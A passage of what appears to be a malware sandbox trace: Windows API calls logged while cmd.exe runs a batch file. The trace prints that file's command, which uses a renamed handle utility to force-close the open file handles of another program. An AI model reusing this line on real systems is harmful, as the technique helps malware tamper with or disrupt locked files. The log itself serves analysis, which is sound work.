HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5041c8 [0093.203] FindClose (in: hFindFile=0x5041c8 | out: hFindFile=0x5041c8) returned 1 [0093.203] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0093.203] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ae894 | out: lpFindFileData=0x1ae894*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5041c8 [0093.204] FindClose (in: hFindFile=0x5041c8 | out: hFindFile=0x5041c8) returned 1 [0093.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x1ae894 | out: lpFindFileData=0x1ae894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x5041c8 [0093.204] FindClose (in: hFindFile=0x5041c8 | out: hFindFile=0x5041c8) returned 1 [0093.204] GetProcessHeap () returned 0x4f0000 [0093.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x56) returned 0x5041c8 [0093.204] GetProcessHeap () returned 0x4f0000 [0093.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0093.205] _tell (_FileHandle=3) returned 78 [0093.205] _close (_FileHandle=3) returned 0 [0093.205] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af1c4 | out: _Buffer="\r\n") returned 2 [0093.205] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.205] GetFileType (hFile=0x7) returned 0x2 [0093.469] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.469] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af184 | out: lpMode=0x1af184) returned 1 [0093.469] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.469] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af1b0*=0x2) returned 1 [0093.713] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0093.713] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.713] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af1c0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0093.713] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af1c0 | out: _Buffer=">") returned 1 [0093.713] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.714] GetFileType (hFile=0x7) returned 0x2 [0093.714] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.714] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af188 | out: lpMode=0x1af188) returned 1 [0093.714] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.714] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x1af1b4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x1af1b4*=0x26) returned 1 [0093.714] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.714] GetFileType (hFile=0x7) returned 0x2 [0093.715] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.715] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af40c | out: lpMode=0x1af40c) returned 1 [0093.715] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.715] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4f0e28*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af438, lpReserved=0x0 | out: lpBuffer=0x4f0e28*, lpNumberOfCharsWritten=0x1af438*=0x2) returned 1 [0093.715] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af444 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0093.715] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.715] GetFileType (hFile=0x7) returned 0x2 [0093.716] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.716] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0093.716] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.716] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x2d) returned 1 [0093.717] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af464 | out: _Buffer="\r\n") returned 2 [0093.717] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.717] GetFileType (hFile=0x7) returned 0x2 [0093.718] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.718] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af424 | out: lpMode=0x1af424) returned 1 [0093.718] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.718] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af450, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af450*=0x2) returned 1 [0093.719] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0093.719] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0093.719] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0093.719] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0093.719] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0093.719] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0093.719] GetConsoleTitleW (in: lpConsoleTitle=0x1aefd4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0093.720] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.720] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.720] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1aed90, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x1aed88, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1aed88*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0093.720] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1aeb2c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.721] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x1aeb2c, lpFilePart=0x1aeb28 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x1aeb28*=0x0) returned 0x26 [0093.721] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0093.721] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ae8a8 | out: lpFindFileData=0x1ae8a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x504508 [0093.721] FindClose (in: hFindFile=0x504508 | out: hFindFile=0x504508) returned 1 [0093.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ae8a8 | out: lpFindFileData=0x1ae8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x504508 [0093.721] FindClose (in: hFindFile=0x504508 | out: hFindFile=0x504508) returned 1 [0093.721] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0093.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ae8a8 | out: lpFindFileData=0x1ae8a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x504508 [0093.721] FindClose (in: hFindFile=0x504508 | out: hFindFile=0x504508) returned 1 [0093.721] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0093.721] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0093.721] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0093.721] GetProcessHeap () returned 0x4f0000 [0093.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507718 | out: hHeap=0x4f0000) returned 1 [0093.721] GetEnvironmentStringsW () returned 0x506b80* [0093.721] GetProcessHeap () returned 0x4f0000 [0093.721] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb90) returned 0x507718 [0093.722] FreeEnvironmentStringsW (penv=0x506b80) returned 1 [0093.722] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.722] GetProcessHeap () returned 0x4f0000 [0093.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5044a8 | out: hHeap=0x4f0000) returned 1 [0093.722] GetProcessHeap () returned 0x4f0000 [0093.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504448 | out: hHeap=0x4f0000) returned 1 [0093.722] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.722] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0093.722] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.722] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0093.722] _get_osfhandle (_FileHandle=0) returned 0x3 [0093.722] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0093.723] SetConsoleInputExeNameW () returned 0x1 [0093.723] GetConsoleOutputCP () returned 0x1b5 [0093.723] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0093.723] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1af40c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0093.723] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0093.723] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.723] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0093.723] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5043d8 | out: hHeap=0x4f0000) returned 1 [0093.724] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504368 | out: hHeap=0x4f0000) returned 1 [0093.724] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5042f8 | out: hHeap=0x4f0000) returned 1 [0093.724] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504288 | out: hHeap=0x4f0000) returned 1 [0093.724] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e20 | out: hHeap=0x4f0000) returned 1 [0093.724] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504228 | out: hHeap=0x4f0000) returned 1 [0093.724] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5041c8 | out: hHeap=0x4f0000) returned 1 [0093.724] GetProcessHeap () returned 0x4f0000 [0093.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f1250 | out: hHeap=0x4f0000) returned 1 [0093.724] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.724] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0093.724] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1af3f0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x1af3f0*=0x94, lpOverlapped=0x0) returned 1 [0093.725] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0093.725] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.725] GetFileType (hFile=0x78) returned 0x1 [0093.725] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.725] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0093.725] GetProcessHeap () returned 0x4f0000 [0093.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c08 [0093.726] GetProcessHeap () returned 0x4f0000 [0093.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4008) returned 0x518c20 [0093.726] GetProcessHeap () returned 0x4f0000 [0093.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe) returned 0x4f0e20 [0093.727] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"kids-memorabilia.exe\"") returned 0x16 [0093.727] GetProcessHeap () returned 0x4f0000 [0093.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e20 | out: hHeap=0x4f0000) returned 1 [0093.727] GetProcessHeap () returned 0x4f0000 [0093.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c20 | out: hHeap=0x4f0000) returned 1 [0093.727] GetProcessHeap () returned 0x4f0000 [0093.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0093.728] GetProcessHeap () returned 0x4f0000 [0093.728] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504270, Size=0x3c) returned 0x504270 [0093.728] GetProcessHeap () returned 0x4f0000 [0093.728] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504270) returned 0x3c [0093.730] _tell (_FileHandle=3) returned 226 [0093.730] _close (_FileHandle=3) returned 0 [0093.730] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af1c4 | out: _Buffer="\r\n") returned 2 [0093.730] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.730] GetFileType (hFile=0x7) returned 0x2 [0093.730] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.730] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af184 | out: lpMode=0x1af184) returned 1 [0093.731] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.731] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af1b0*=0x2) returned 1 [0093.732] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0093.732] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.732] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af1c0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0093.732] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af1c0 | out: _Buffer=">") returned 1 [0093.732] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.732] GetFileType (hFile=0x7) returned 0x2 [0093.733] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.733] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af188 | out: lpMode=0x1af188) returned 1 [0093.733] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.733] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x1af1b4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x1af1b4*=0x26) returned 1 [0093.733] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x1af444 | out: _Buffer="FOR") returned 3 [0093.733] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.733] GetFileType (hFile=0x7) returned 0x2 [0093.734] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.734] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0093.734] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.734] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x3) returned 1 [0093.734] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x1af444 | out: _Buffer=" /F") returned 3 [0093.734] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.734] GetFileType (hFile=0x7) returned 0x2 [0093.734] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.735] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0093.735] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.735] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x3) returned 1 [0093.735] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x1af444 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0093.735] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.735] GetFileType (hFile=0x7) returned 0x2 [0093.735] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.735] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0093.736] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.736] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x20) returned 1 [0093.736] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x1af444 | out: _Buffer=" %I IN ") returned 7 [0093.736] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.736] GetFileType (hFile=0x7) returned 0x2 [0093.736] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.736] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0093.737] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.737] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x7) returned 1 [0093.738] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x1af440 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner`) DO ") returned 65 [0093.738] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.738] GetFileType (hFile=0x7) returned 0x2 [0093.738] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.738] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af400 | out: lpMode=0x1af400) returned 1 [0093.739] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.739] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x1af42c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af42c*=0x41) returned 1 [0093.739] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.739] GetFileType (hFile=0x7) returned 0x2 [0093.739] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.739] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af40c | out: lpMode=0x1af40c) returned 1 [0093.739] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.739] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x1af438, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x1af438*=0x1) returned 1 [0093.740] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.740] GetFileType (hFile=0x7) returned 0x2 [0093.740] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.740] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af3f0 | out: lpMode=0x1af3f0) returned 1 [0093.740] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.740] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5043c0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x1af41c, lpReserved=0x0 | out: lpBuffer=0x5043c0*, lpNumberOfCharsWritten=0x1af41c*=0xc) returned 1 [0093.742] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af428 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0093.742] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.742] GetFileType (hFile=0x7) returned 0x2 [0093.742] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.742] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af3e8 | out: lpMode=0x1af3e8) returned 1 [0093.742] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.742] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x1af414, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af414*=0x26) returned 1 [0093.743] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af444 | out: _Buffer=") ") returned 2 [0093.743] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.743] GetFileType (hFile=0x7) returned 0x2 [0093.743] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.743] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0093.743] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.743] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x2) returned 1 [0093.743] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af464 | out: _Buffer="\r\n") returned 2 [0093.744] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.744] GetFileType (hFile=0x7) returned 0x2 [0093.744] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.744] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af424 | out: lpMode=0x1af424) returned 1 [0093.744] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.744] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af450, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af450*=0x2) returned 1 [0093.745] GetProcessHeap () returned 0x4f0000 [0093.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x2c) returned 0x504448 [0093.745] GetProcessHeap () returned 0x4f0000 [0093.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4f0e20 [0093.745] GetProcessHeap () returned 0x4f0000 [0093.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4f0e38 [0093.746] GetProcessHeap () returned 0x4f0000 [0093.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 